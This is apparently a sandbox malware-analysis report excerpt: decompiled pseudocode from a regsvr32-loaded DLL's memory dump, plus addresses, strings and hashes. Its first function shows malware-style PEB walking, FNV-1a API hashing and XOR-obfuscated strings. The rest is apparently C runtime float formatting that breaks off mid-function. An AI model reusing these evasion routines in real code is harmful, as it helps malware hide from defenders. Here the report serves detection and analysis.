				char _v6;
				signed char _v7;
				void* _v8;
				signed int _v9;
				char _v10;
				intOrPtr* _v16;
				signed int _v20;
				signed char* _v24;
				signed int _v28;
				char _v32;
				char _v35;
				void* _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				signed char _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v65;
				short _v68;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v80;
				char _v84;
				intOrPtr* _v88;
				signed char _v92;
				short _v94;
				intOrPtr _v98;
				intOrPtr _v102;
				char _v105;
				signed char _v106;
				intOrPtr _v112;
				intOrPtr _v116;
				signed char* _v120;
				signed short* _v124;
				signed char* _v128;
				short* _v132;
				signed char* _v136;
				short* _v140;
				signed char* _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr* _v156;
				intOrPtr _v160;
				signed int _v164;
				intOrPtr* _v168;
				signed int _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr* _v188;
				intOrPtr _v192;
				signed char* _v196;
				intOrPtr* _v200;
				intOrPtr* _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				char* _v216;
				signed char* _v220;
				char* _v224;
				char* _v228;
				char* _v232;
				char* _v236;
				char* _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				char _v284;
				char _v312;
				intOrPtr _t377;

				_v272 = 0xc;
				_v112 = 0x10;
				_v116 = 0x10;
				_v268 =  *[fs:0x30];
				_v276 =  *((intOrPtr*)(_v268 + _v272));
				_v88 =  *((intOrPtr*)(_v276 + _v112));
				_v280 =  *((intOrPtr*)(_v88 + _v116));
				_v16 = _v88;
				do {
					_v16 =  *_v16;
					if( *((intOrPtr*)(_v16 + 0x18)) == 0) {
						goto L24;
					} else {
						_v6 = 0;
						_v24 = E6DA91260( &_v6,  &_v312);
						_v20 = 0;
						while(_v20 < 0xc) {
							_v120 =  &(_v24[2]);
							_v124 = _v120 + _v20 * 2;
							_v68 =  *_v124 & 0x0000ffff ^  *_v24;
							_v128 =  &(_v24[2]);
							_v132 = _v128 + _v20 * 2;
							 *_v132 = _v68;
							_v20 = _v20 + 1;
						}
						_v136 =  &(_v24[2]);
						_v140 = _v136 + (0xc << 1);
						 *_v140 = 0;
						_v144 =  &(_v24[2]);
						_v196 = _v144;
						_v84 = _v284;
						_v148 =  *[fs:0x30];
						_v152 =  *((intOrPtr*)(_v148 + 0xc));
						_v156 =  *((intOrPtr*)(_v152 + 0xc));
						_v80 = _v156;
						do {
							_v52 =  *((intOrPtr*)(_v80 + 0x18));
							_v64 = _v52;
							_v160 = _v52 +  *((intOrPtr*)(_v52 + 0x3c));
							_t377 = _v160;
							_v264 =  *((intOrPtr*)(_t377 + 0x78));
							_v260 =  *((intOrPtr*)(_t377 + 0x7c));
							_v60 = _v52 + _v264;
							_v56 = _v260;
							if(_v60 == _v64) {
								_v92 = 0;
							} else {
								_v92 = 1;
							}
							_v7 = _v92;
							if((_v7 & 0x000000ff) != 0) {
								_v28 =  *((intOrPtr*)(_v60 + 0x18));
								while(1) {
									_v164 = _v28;
									_v28 = _v28 - 1;
									if(_v164 == 0) {
										goto L20;
									}
									_v168 = _v64 +  *((intOrPtr*)(_v64 +  *((intOrPtr*)(_v60 + 0x20)) + _v28 * 4));
									_v72 = _v168;
									_v76 = 0x811c9dc5;
									while(1) {
										_v8 =  *_v72;
										_v72 = _v72 + 1;
										_v5 = _v8;
										if(_v5 == 0) {
											break;
										}
										_v76 = (_v5 ^ _v76) * 0x1000193;
									}
									_v172 = _v76;
									if(_v172 != 0xd3c5e4f6) {
										continue;
									} else {
										_v180 = _v64 +  *((intOrPtr*)(_v60 + 0x1c));
										_v176 = _v64 +  *((intOrPtr*)(_v60 + 0x24));
										_v184 = _v64 +  *((intOrPtr*)(_v180 + ( *(_v176 + _v28 * 2) & 0x0000ffff) * 4));
										_v84 = _v184;
									}
									goto L22;
								}
							}
							goto L20;
							L22:
							_v200 =  &_v196;
							_v208 =  *_v200;
							_v204 = _v16 + 0x30;
							_v212 =  *_v204;
							_push(_v208);
							_push(_v212);
							if(_v84() != 0) {
								goto L24;
							} else {
							}
							goto L25;
							L20:
							_v188 = _v80;
							_v192 =  *_v188;
							_v80 = _v192;
							_v9 = 1;
						} while ((_v9 & 0x000000ff) != 0);
						_v84 = 0;
						goto L22;
					}
					break;
					L24:
				} while (_v88 != _v16);
				L25:
				_v248 =  *((intOrPtr*)(_v16 + 0x18));
				_v65 = 0;
				_v48 = 0x5b;
				_v47 = 0x17;
				_v46 = 0x34;
				_v45 = 0x3a;
				_v44 = 0x3f;
				_v43 = 0x17;
				_v42 = 0x32;
				_v41 = 0x39;
				_v40 = 0x29;
				_v39 = 0x3a;
				_v38 = 0x29;
				_v37 = 0x22;
				_v36 = 0x1a;
				_v35 = 0;
				_v106 = _v48;
				_v102 = _v44;
				_v98 = _v40;
				_v94 = _v36;
				_v32 = 0;
				while(_v32 < 0xc) {
					_v216 =  &_v105;
					_v220 = _v216 + _v32;
					_v10 =  *_v220 ^ _v106;
					_v224 =  &_v105;
					_v228 = _v224 + _v32;
					 *_v228 = _v10;
					_v32 = _v32 + 1;
				}
				_v232 =  &_v105;
				_v236 = (0xc << 0) + _v232;
				 *_v236 = 0;
				_v240 =  &_v105;
				_v244 = E6DAD85F0(_v240, 0xc, 0xa);
				 *0x6daf48d8 = E6DA917F0(_v248, _v244, 0xc, 0xa);
				_v252 = E6DA917D0(_v248, _a8);
				_v256 = E6DA917F0(_v252, _a4, _a12, _a16);
				return _v256;
			}

0x6da91309
0x6da91313
0x6da9131a
0x6da91327
0x6da9133b
0x6da9134c
0x6da91357
0x6da91360
0x6da91363
0x6da91371
0x6da9137b
0x00000000
0x6da91381
0x6da91383
0x6da91395
0x6da91398
0x6da913aa
0x6da913b6
0x6da913c2
0x6da913d3
0x6da913dd
0x6da913e9
0x6da913f3
0x6da913a7
0x6da913a7
0x6da913fe
0x6da91411
0x6da9141f
0x6da91428
0x6da91434
0x6da91440
0x6da9144a
0x6da91459
0x6da91468
0x6da91474
0x6da91477
0x6da9147d
0x6da91483
0x6da9148f
0x6da9149d
0x6da914ab
0x6da914b1
0x6da914c0
0x6da914c9
0x6da914d2
0x6da914dd
0x6da914d4
0x6da914d4
0x6da914d4
0x6da914e7
0x6da914f0
0x6da914fc
0x6da914ff
0x6da91502
0x6da9150e
0x6da91518
0x00000000
0x00000000
0x6da91530
0x6da9153c
0x6da9153f
0x6da91546
0x6da9154b
0x6da91554
0x6da9155a
0x6da91563
0x00000000
0x00000000
0x6da9157e
0x6da9157e
0x6da91568
0x6da9158d
0x00000000
0x6da9158f
0x6da91598
0x6da915a7
0x6da915c6
0x6da915d2
0x6da915d2
0x00000000
0x6da9158d
0x6da914ff
0x00000000
0x6da91613
0x6da91619
0x6da91627
0x6da91633
0x6da91641
0x6da9164d
0x6da91654
0x6da9165a
0x00000000
0x00000000
0x6da9165c
0x00000000
0x6da915dc
0x6da915df
0x6da915ed
0x6da915f9
0x6da915fc
0x6da91604
0x6da9160c
0x00000000
0x6da9160c
0x00000000
0x6da9165e
0x6da91661
0x6da9166a
0x6da91670
0x6da91678
0x6da9167b
0x6da9167f
0x6da91683
0x6da91687
0x6da9168b
0x6da9168f
0x6da91693
0x6da91697
0x6da9169b
0x6da9169f
0x6da916a3
0x6da916a7
0x6da916ab
0x6da916af
0x6da916b6
0x6da916bc
0x6da916c2
0x6da916c9
0x6da916cd
0x6da916df
0x6da916e8
0x6da916f7
0x6da9170c
0x6da91712
0x6da91721
0x6da91730
0x6da916dc
0x6da916dc
0x6da91737
0x6da9174b
0x6da91757
0x6da9175d
0x6da91773
0x6da91790
0x6da9179e
0x6da917bc
0x6da917cb

Strings

9, xrefs: 6DA91697
2, xrefs: 6DA91693
), xrefs: 6DA916A3
[, xrefs: 6DA9167B
4, xrefs: 6DA91683
:, xrefs: 6DA91687
:, xrefs: 6DA9169F
", xrefs: 6DA916A7
?, xrefs: 6DA9168B
), xrefs: 6DA9169B

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: "$)$)$2$4$9$:$:$?$[
API String ID: 0-1401052836
Opcode ID: f550e96643a6a57642b66829820c15faa5148091e6d6b29a65d893ad343e8412
Instruction ID: af662e401384b8387b97c349f8ac782042aa6ed5559255e738f8b1bf9a4c5d24
Opcode Fuzzy Hash: f550e96643a6a57642b66829820c15faa5148091e6d6b29a65d893ad343e8412
Instruction Fuzzy Hash: CF02D174E08259CFDB14CFA8C890BEEBBB1BF49304F14819AD959AB341D770AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE62FA Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1427
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E6DAE62FA(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v464;
				void _v468;
				signed int _v472;
				char _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1868;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				intOrPtr _v1888;
				signed int _v1892;
				signed int _v1896;
				signed int _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1928;
				char _v1932;
				signed int _v1940;
				signed int _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t792;
				intOrPtr _t802;
				signed int _t809;
				signed int _t810;
				signed int _t811;
				signed int _t820;
				signed int _t822;
				signed int _t829;
				signed int _t834;
				intOrPtr _t840;
				void* _t841;
				signed int _t847;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t857;
				signed int _t859;
				signed int _t861;
				signed int _t862;
				signed int _t864;
				signed int _t865;
				signed int _t866;
				signed int _t871;
				signed int _t874;
				signed int _t877;
				signed int _t883;
				signed int _t884;
				signed int _t892;
				signed int _t895;
				signed int _t900;
				char* _t903;
				signed int _t907;
				signed int _t918;
				signed int _t919;
				signed int _t920;
				signed int _t921;
				char* _t922;
				signed char _t925;
				signed int _t931;
				signed int _t933;
				signed int _t937;
				signed int _t940;
				signed int _t948;
				signed int _t951;
				signed int _t953;
				signed int _t956;
				signed int _t965;
				signed int _t966;
				signed int _t969;
				signed int _t982;
				signed int _t983;
				signed int _t984;
				signed int _t985;
				signed int* _t986;
				signed char _t989;
				signed int* _t992;
				signed int _t995;
				signed int _t997;
				signed int _t1001;
				signed int _t1004;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1021;
				signed int _t1030;
				intOrPtr _t1035;
				signed int _t1036;
				signed int _t1042;
				void* _t1050;
				signed int _t1051;
				signed int _t1052;
				signed int _t1053;
				signed int _t1056;
				signed int _t1064;
				signed int _t1068;
				signed int _t1070;
				signed int _t1075;
				void* _t1081;
				signed int _t1082;
				signed int _t1083;
				signed int _t1084;
				signed int _t1087;
				signed int _t1092;
				signed int _t1093;
				signed int _t1097;
				signed int _t1099;
				signed int _t1104;
				signed char _t1111;
				void* _t1112;
				signed int _t1117;
				intOrPtr* _t1124;
				signed int _t1133;
				signed int _t1134;
				signed int _t1139;
				signed int _t1141;
				signed int _t1142;
				signed int _t1143;
				signed int _t1146;
				signed int _t1150;
				signed int _t1151;
				signed int _t1152;
				signed int _t1154;
				signed int _t1155;
				signed int _t1156;
				signed int _t1158;
				signed int _t1159;
				signed int _t1160;
				signed int _t1161;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				signed int _t1167;
				signed int _t1168;
				unsigned int _t1169;
				unsigned int _t1173;
				unsigned int _t1176;
				signed int _t1177;
				signed int _t1180;
				signed int* _t1183;
				signed int _t1186;
				void* _t1188;
				unsigned int _t1189;
				signed int _t1190;
				signed int _t1193;
				signed int* _t1196;
				signed int _t1199;
				signed int _t1202;
				signed int _t1203;
				signed int _t1204;
				signed int _t1205;
				signed int _t1208;
				signed int _t1213;
				signed int _t1214;
				signed int _t1216;
				signed int _t1217;
				signed int _t1218;
				signed int _t1219;
				signed int _t1220;
				signed int _t1221;
				signed int _t1222;
				signed int _t1224;
				signed int _t1226;
				signed int _t1227;
				signed int _t1228;
				signed int _t1229;
				signed int _t1230;
				signed int _t1232;
				void* _t1233;
				signed int _t1234;
				signed int _t1236;
				signed int _t1241;
				void* _t1245;
				intOrPtr _t1246;
				void* _t1247;
				void* _t1250;
				unsigned int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1265;
				signed int _t1268;
				signed int _t1269;
				signed int _t1270;
				void* _t1271;
				void* _t1274;
				signed int _t1276;
				signed int _t1280;
				signed int _t1282;
				signed int _t1286;
				void* _t1287;
				signed int _t1288;
				void* _t1289;
				signed int _t1291;
				signed int _t1292;
				signed int _t1294;
				void* _t1297;
				signed int _t1299;
				signed int _t1300;
				signed int _t1302;
				signed int _t1303;
				signed int _t1305;
				signed int _t1313;
				signed int _t1315;
				void* _t1316;
				signed int* _t1317;
				signed int* _t1321;
				signed int _t1324;
				signed int _t1333;

				_t1287 = __esi;
				_t1245 = __edi;
				_t1202 = __edx;
				_t1313 = _t1315;
				_t1316 = _t1315 - 0x964;
				_t792 =  *0x6daf4024; // 0xde15bf56
				_v8 = _t792 ^ _t1313;
				_v1928 = _a16;
				_v1896 = _a20;
				_push(__ebx);
				E6DAE8A13(__eflags,  &_v1940);
				_t1111 = 1;
				if((_v1940 & 0x0000001f) != 0x1f) {
					E6DAE8A7B(__eflags,  &_v1940);
					_v1932 = 1;
				} else {
					_v1932 = 0;
				}
				_push(_t1287);
				_t1288 = _a8;
				_push(_t1245);
				_t1246 = 0x20;
				_t1324 = _t1288;
				if(_t1324 > 0 || _t1324 >= 0 && _a4 >= 0) {
					_t802 = _t1246;
				} else {
					_t802 = 0x2d;
				}
				_t1124 = _v1928;
				 *_t1124 = _t802;
				 *((intOrPtr*)(_t1124 + 8)) = _v1896;
				E6DAE89B4( &_v1944, 0, 0);
				_t1317 = _t1316 + 0xc;
				if((_t1288 & 0x7ff00000) != 0) {
					L14:
					_t809 = E6DAE1EF2( &_a4);
					_pop(_t1127);
					__eflags = _t809;
					if(_t809 != 0) {
						_t1127 = _v1928;
						 *((intOrPtr*)(_v1928 + 4)) = _t1111;
					}
					_t810 = _t809 - 1;
					__eflags = _t810;
					if(_t810 == 0) {
						_t811 = E6DAE0381(_v1896, _a24, "1#INF");
						__eflags = _t811;
						if(_t811 != 0) {
							goto L311;
						} else {
							_t1111 = 0;
							__eflags = 0;
							goto L308;
						}
					} else {
						_t820 = _t810 - 1;
						__eflags = _t820;
						if(_t820 == 0) {
							_push("1#QNAN");
							goto L12;
						} else {
							_t822 = _t820 - 1;
							__eflags = _t822;
							if(_t822 == 0) {
								_push("1#SNAN");
								goto L12;
							} else {
								__eflags = _t822 == 1;
								if(_t822 == 1) {
									_push("1#IND");
									goto L12;
								} else {
									_v1920 = _v1920 & 0x00000000;
									_a8 = _t1288 & 0x7fffffff;
									_t1333 = _a4;
									asm("fst qword [ebp-0x75c]");
									_t1291 = _v1884;
									_v1916 = _a12 + 1;
									_t1133 = _t1291 >> 0x14;
									_t829 = _t1133 & 0x000007ff;
									__eflags = _t829;
									if(_t829 != 0) {
										_t829 = 0;
										_t1203 = 0x100000;
										_t39 =  &_v1876;
										 *_t39 = _v1876 & 0;
										__eflags =  *_t39;
									} else {
										_t1203 = 0;
										_v1876 = _t1111;
									}
									_t1292 = _t1291 & 0x000fffff;
									_v1912 = _v1888 + _t829;
									asm("adc esi, edx");
									_t1134 = _t1133 & 0x000007ff;
									_v1868 = _v1876 + _t1134;
									E6DAE8AD0(_t1134, _t1333);
									_push(_t1134);
									_push(_t1134);
									 *_t1317 = _t1333;
									E6DAE8BE0(_t1134);
									_t834 = L6DAEAC10(_t1203);
									_v1904 = _t834;
									_t1250 = 0x20;
									__eflags = _t834 - 0x7fffffff;
									if(_t834 == 0x7fffffff) {
										L25:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t834 - 0x80000000;
										if(_t834 == 0x80000000) {
											goto L25;
										}
									}
									_t1204 = _v1868;
									__eflags = _t1292;
									_v468 = _v1912;
									_v464 = _t1292;
									_t1139 = (0 | _t1292 != 0x00000000) + 1;
									_v1892 = _t1139;
									_v472 = _t1139;
									__eflags = _t1204 - 0x433;
									if(_t1204 < 0x433) {
										__eflags = _t1204 - 0x35;
										if(_t1204 == 0x35) {
											L96:
											__eflags = _t1292;
											_t209 =  &_v1884;
											 *_t209 = _v1884 & 0x00000000;
											__eflags =  *_t209;
											_t840 =  *((intOrPtr*)(_t1313 + 4 + (0 | _t1292 != 0x00000000) * 4 - 0x1d4));
											asm("bsr eax, eax");
											if( *_t209 == 0) {
												_t841 = 0;
												__eflags = 0;
											} else {
												_t841 = _t840 + 1;
											}
											__eflags = _t1250 - _t841 - _t1111;
											asm("sbb esi, esi");
											_t1294 =  ~_t1292 + _t1139;
											__eflags = _t1294 - 0x73;
											if(_t1294 <= 0x73) {
												_t1205 = _t1294 - 1;
												__eflags = _t1205 - 0xffffffff;
												if(_t1205 != 0xffffffff) {
													_t1271 = _t1205 - 1;
													while(1) {
														__eflags = _t1205 - _t1139;
														if(_t1205 >= _t1139) {
															_t1030 = 0;
															__eflags = 0;
														} else {
															_t1030 =  *(_t1313 + _t1205 * 4 - 0x1d0);
														}
														__eflags = _t1271 - _t1139;
														if(_t1271 >= _t1139) {
															_t1169 = 0;
															__eflags = 0;
														} else {
															_t1169 =  *(_t1313 + _t1205 * 4 - 0x1d4);
														}
														 *(_t1313 + _t1205 * 4 - 0x1d0) = _t1169 >> 0x0000001f | _t1030 + _t1030;
														_t1205 = _t1205 - 1;
														_t1271 = _t1271 - 1;
														__eflags = _t1205 - 0xffffffff;
														if(_t1205 == 0xffffffff) {
															goto L111;
														}
														_t1139 = _v472;
													}
												}
												L111:
												_v472 = _t1294;
											} else {
												_v1400 = _v1400 & 0x00000000;
												_v472 = _v472 & 0x00000000;
												E6DAE3CE9( &_v468, 0x1cc,  &_v1396, 0);
												_t1317 =  &(_t1317[4]);
											}
											_t1253 = 0x434 >> 5;
											E6DADB880(0x434 >> 5,  &_v1396, 0, 0x434);
											__eflags = 1;
											 *(_t1313 + 0xbad63d) = 1 << (0x00000434 - _v1868 & 0x0000001f);
										} else {
											_v1396 = _v1396 & 0x00000000;
											_v1392 = 0x100000;
											_v1400 = 2;
											__eflags = _t1292;
											if(_t1292 != 0) {
												_t1233 = 0;
												__eflags = 0;
												while(1) {
													_t1035 =  *((intOrPtr*)(_t1313 + _t1233 - 0x570));
													__eflags = _t1035 -  *((intOrPtr*)(_t1313 + _t1233 - 0x1d0));
													if(_t1035 !=  *((intOrPtr*)(_t1313 + _t1233 - 0x1d0))) {
														goto L96;
													}
													_t1233 = _t1233 + 4;
													__eflags = _t1233 - 8;
													if(_t1233 != 8) {
														continue;
													} else {
														__eflags = 0;
														asm("bsr eax, esi");
														_v1884 = 0;
														if(0 == 0) {
															_t1036 = 0;
														} else {
															_t1036 = _t1035 + 1;
														}
														__eflags = _t1250 - _t1036 - 2;
														asm("sbb esi, esi");
														_t1305 =  ~_t1292 + _t1139;
														__eflags = _t1305 - 0x73;
														if(_t1305 <= 0x73) {
															_t1234 = _t1305 - 1;
															__eflags = _t1234 - 0xffffffff;
															if(_t1234 != 0xffffffff) {
																_t1274 = _t1234 - 1;
																while(1) {
																	__eflags = _t1234 - _t1139;
																	if(_t1234 >= _t1139) {
																		_t1042 = 0;
																	} else {
																		_t1042 =  *(_t1313 + _t1234 * 4 - 0x1d0);
																	}
																	__eflags = _t1274 - _t1139;
																	if(_t1274 >= _t1139) {
																		_t1173 = 0;
																	} else {
																		_t1173 =  *(_t1313 + _t1234 * 4 - 0x1d4);
																	}
																	 *(_t1313 + _t1234 * 4 - 0x1d0) = _t1173 >> 0x0000001e | _t1042 << 0x00000002;
																	_t1234 = _t1234 - 1;
																	_t1274 = _t1274 - 1;
																	__eflags = _t1234 - 0xffffffff;
																	if(_t1234 == 0xffffffff) {
																		goto L94;
																	}
																	_t1139 = _v472;
																}
															}
															L94:
															_v472 = _t1305;
														} else {
															_v1400 = 0;
															_v472 = 0;
															E6DAE3CE9( &_v468, 0x1cc,  &_v1396, 0);
															_t1317 =  &(_t1317[4]);
														}
														_t1253 = 0x435 >> 5;
														E6DADB880(0x435 >> 5,  &_v1396, 0, 0x435);
														 *(_t1313 + 0xbad63d) = 1 << (0x00000435 - _v1868 & 0x0000001f);
													}
													goto L113;
												}
											}
											goto L96;
										}
										L113:
										_t847 = _t1253 + 1;
										_t1297 = 0x1cc;
										_v1400 = _t847;
										_v936 = _t847;
										E6DAE3CE9( &_v932, 0x1cc,  &_v1396, _t847 << 2);
										_t1321 =  &(_t1317[7]);
										_t1111 = 1;
										__eflags = 1;
									} else {
										_v1396 = _v1396 & 0x00000000;
										_v1392 = 0x100000;
										_v1400 = 2;
										__eflags = _t1292;
										if(_t1292 == 0) {
											L53:
											_t1176 = _t1204 - 0x432;
											_t1177 = _t1176 & 0x0000001f;
											_v1900 = _t1176 >> 5;
											_v1876 = _t1177;
											_v1920 = _t1250 - _t1177;
											_t1050 = E6DAEABF0(_t1111, _t1250 - _t1177, 0);
											_t1236 = _v1892;
											_t1051 = _t1050 - 1;
											_t128 =  &_v1872;
											 *_t128 = _v1872 & 0x00000000;
											__eflags =  *_t128;
											_v1912 = _t1051;
											_t1052 =  !_t1051;
											_v1884 = _t1052;
											asm("bsr eax, ecx");
											if( *_t128 == 0) {
												_t136 =  &_v1880;
												 *_t136 = _v1880 & 0x00000000;
												__eflags =  *_t136;
											} else {
												_v1880 = _t1052 + 1;
											}
											_t1180 = _v1900;
											_t1297 = 0x1cc;
											_t1053 = _t1236 + _t1180;
											__eflags = _t1053 - 0x73;
											if(_t1053 <= 0x73) {
												__eflags = _t1250 - _v1880 - _v1876;
												asm("sbb eax, eax");
												_t1056 =  ~_t1053 + _t1236 + _t1180;
												_v1908 = _t1056;
												__eflags = _t1056 - 0x73;
												if(_t1056 > 0x73) {
													goto L57;
												} else {
													_t1276 = _t1180 - 1;
													_t1064 = _t1056 - 1;
													_v1872 = _t1276;
													_v1868 = _t1064;
													__eflags = _t1064 - _t1276;
													if(_t1064 != _t1276) {
														_t1280 = _t1064 - _t1180;
														__eflags = _t1280;
														_t1183 =  &(( &_v472)[_t1280]);
														_v1892 = _t1183;
														while(1) {
															__eflags = _t1280 - _t1236;
															if(_t1280 >= _t1236) {
																_t1068 = 0;
																__eflags = 0;
															} else {
																_t1068 = _t1183[1];
															}
															_v1880 = _t1068;
															_t156 = _t1280 - 1; // -4
															__eflags = _t156 - _t1236;
															if(_t156 >= _t1236) {
																_t1070 = 0;
																__eflags = 0;
															} else {
																_t1070 =  *_t1183;
															}
															_t1186 = _v1868;
															 *(_t1313 + _t1186 * 4 - 0x1d0) = (_t1070 & _v1884) >> _v1920 | (_v1880 & _v1912) << _v1876;
															_t1075 = _t1186 - 1;
															_t1183 = _v1892 - 4;
															_v1868 = _t1075;
															_t1280 = _t1280 - 1;
															_v1892 = _t1183;
															__eflags = _t1075 - _v1872;
															if(_t1075 == _v1872) {
																break;
															}
															_t1236 = _v472;
														}
														_t1180 = _v1900;
													}
													__eflags = _t1180;
													if(_t1180 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1180 << 2);
														_t1317 =  &(_t1317[3]);
													}
													_v472 = _v1908;
												}
											} else {
												L57:
												_v1400 = 0;
												_v472 = 0;
												E6DAE3CE9( &_v468, _t1297,  &_v1396, 0);
												_t1317 =  &(_t1317[4]);
											}
											_v1396 = 2;
											_push(4);
										} else {
											_t1188 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1313 + _t1188 - 0x570)) -  *((intOrPtr*)(_t1313 + _t1188 - 0x1d0));
												if( *((intOrPtr*)(_t1313 + _t1188 - 0x570)) !=  *((intOrPtr*)(_t1313 + _t1188 - 0x1d0))) {
													goto L53;
												}
												_t1188 = _t1188 + 4;
												__eflags = _t1188 - 8;
												if(_t1188 != 8) {
													continue;
												} else {
													_t1189 = _t1204 - 0x431;
													_t1190 = _t1189 & 0x0000001f;
													_v1880 = _t1189 >> 5;
													_v1900 = _t1190;
													_v1872 = _t1250 - _t1190;
													_t1081 = E6DAEABF0(_t1111, _t1250 - _t1190, 0);
													_t1241 = _v1892;
													_t1082 = _t1081 - 1;
													_t68 =  &_v1884;
													 *_t68 = _v1884 & 0x00000000;
													__eflags =  *_t68;
													_v1908 = _t1082;
													_t1083 =  !_t1082;
													_v1912 = _t1083;
													asm("bsr eax, ecx");
													if( *_t68 == 0) {
														_t76 =  &_v1876;
														 *_t76 = _v1876 & 0x00000000;
														__eflags =  *_t76;
													} else {
														_v1876 = _t1083 + 1;
													}
													_t1193 = _v1880;
													_t1297 = 0x1cc;
													_t1084 = _t1241 + _t1193;
													__eflags = _t1084 - 0x73;
													if(_t1084 <= 0x73) {
														__eflags = _t1250 - _v1876 - _v1900;
														asm("sbb eax, eax");
														_t1087 =  ~_t1084 + _t1241 + _t1193;
														_v1884 = _t1087;
														__eflags = _t1087 - 0x73;
														if(_t1087 > 0x73) {
															goto L35;
														} else {
															_t1282 = _t1193 - 1;
															_t1093 = _t1087 - 1;
															_v1920 = _t1282;
															_v1868 = _t1093;
															__eflags = _t1093 - _t1282;
															if(_t1093 != _t1282) {
																_t1286 = _t1093 - _t1193;
																__eflags = _t1286;
																_t1196 =  &(( &_v472)[_t1286]);
																_v1892 = _t1196;
																while(1) {
																	__eflags = _t1286 - _t1241;
																	if(_t1286 >= _t1241) {
																		_t1097 = 0;
																		__eflags = 0;
																	} else {
																		_t1097 = _t1196[1];
																	}
																	_v1876 = _t1097;
																	_t96 = _t1286 - 1; // -4
																	__eflags = _t96 - _t1241;
																	if(_t96 >= _t1241) {
																		_t1099 = 0;
																		__eflags = 0;
																	} else {
																		_t1099 =  *_t1196;
																	}
																	_t1199 = _v1868;
																	 *(_t1313 + _t1199 * 4 - 0x1d0) = (_t1099 & _v1912) >> _v1872 | (_v1876 & _v1908) << _v1900;
																	_t1104 = _t1199 - 1;
																	_t1196 = _v1892 - 4;
																	_v1868 = _t1104;
																	_t1286 = _t1286 - 1;
																	_v1892 = _t1196;
																	__eflags = _t1104 - _v1920;
																	if(_t1104 == _v1920) {
																		break;
																	}
																	_t1241 = _v472;
																}
																_t1193 = _v1880;
															}
															__eflags = _t1193;
															if(_t1193 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1193 << 2);
																_t1317 =  &(_t1317[3]);
															}
															_v472 = _v1884;
														}
													} else {
														L35:
														_v1400 = 0;
														_v472 = 0;
														E6DAE3CE9( &_v468, _t1297,  &_v1396, 0);
														_t1317 =  &(_t1317[4]);
													}
													_t1092 = 4;
													_v1396 = _t1092;
													_push(_t1092);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_v1392 = _v1392 & 0x00000000;
										_push( &_v1396);
										_v936 = _t1111;
										_push(_t1297);
										_push( &_v932);
										_v1400 = _t1111;
										E6DAE3CE9();
										_t1321 =  &(_t1317[4]);
									}
									_t852 = _v1904;
									_t1141 = 0xa;
									_v1912 = _t1141;
									__eflags = _t852;
									if(_t852 < 0) {
										_t853 =  ~_t852;
										_t854 = _t853 / _t1141;
										_v1892 = _t854;
										_t1142 = _t853 % _t1141;
										_v1920 = _t1142;
										__eflags = _t854;
										if(_t854 == 0) {
											L246:
											__eflags = _t1142;
											if(_t1142 != 0) {
												_t900 =  *(0x6daf137c + _t1142 * 4);
												_v1884 = _t900;
												__eflags = _t900;
												if(_t900 == 0) {
													L258:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L259;
												} else {
													__eflags = _t900 - _t1111;
													if(_t900 != _t1111) {
														_t1152 = _v472;
														__eflags = _t1152;
														if(_t1152 != 0) {
															_v1872 = _v1872 & 0x00000000;
															_t1259 = 0;
															__eflags = 0;
															do {
																_t1218 = _t900 *  *(_t1313 + _t1259 * 4 - 0x1d0) >> 0x20;
																 *(_t1313 + _t1259 * 4 - 0x1d0) = _t900 *  *(_t1313 + _t1259 * 4 - 0x1d0) + _v1872;
																_t900 = _v1884;
																asm("adc edx, 0x0");
																_t1259 = _t1259 + 1;
																_v1872 = _t1218;
																__eflags = _t1259 - _t1152;
															} while (_t1259 != _t1152);
															__eflags = _t1218;
															if(_t1218 != 0) {
																_t907 = _v472;
																__eflags = _t907 - 0x73;
																if(_t907 >= 0x73) {
																	goto L258;
